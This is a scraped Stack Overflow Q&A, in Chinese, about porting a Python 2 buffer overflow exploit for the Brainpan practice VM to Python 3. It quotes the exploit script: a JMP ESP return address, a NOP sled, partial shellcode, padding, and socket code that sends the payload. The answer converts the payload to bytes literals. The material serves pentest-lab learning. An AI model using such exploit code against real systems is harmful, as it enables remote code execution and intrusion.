gpt4 book ai didi

python - 使用 python 3 作为缓冲区溢出而不是 Python 2

转载 作者:行者123 更新时间:2023-12-05 03:58:54 25 4
gpt4 key购买 nike

我正在尝试使用 python3 而不是 Python 2 将缓冲区溢出推送到 Brainpan。问题是 python3 以不同的方式转换字节。有谁知道如何以简单的方式以 python3 格式推送字节?

python2 代码的示例代码可以在以下位置找到: http://blog.pentests.pl/2014/06/pentest-lab-brainpan-probably-the-fastest.html?m=1

取自页面:

import sys,socket

eip = "\xf3\x12\x17\x31" #jmp esp address 0x311712f3
buf = "\x90"*10 #nop sled
buf += "\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"
buf... {Code snipped}

payload = ("a"*524) + eip + buf

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect('192.168.0.xxx', 9999)

print s.recv(1024)
s.send(payload)
print s.recv(1024)

我尝试过使用各种编码的 s.send(payload.encode())。据我所知,没有任何效果。

最佳答案

尝试使用 bytes literals比如

eip = b"\xf3\x12\x17\x31"
buf = b"\x90"*10
buf += b"\xb8\xeb\x66\xd9\x09\xd9\xce\xd9\x74\x24\xf4\x5e\x33"

并完全绕过编码的需要。

关于python - 使用 python 3 作为缓冲区溢出而不是 Python 2,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/57585284/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com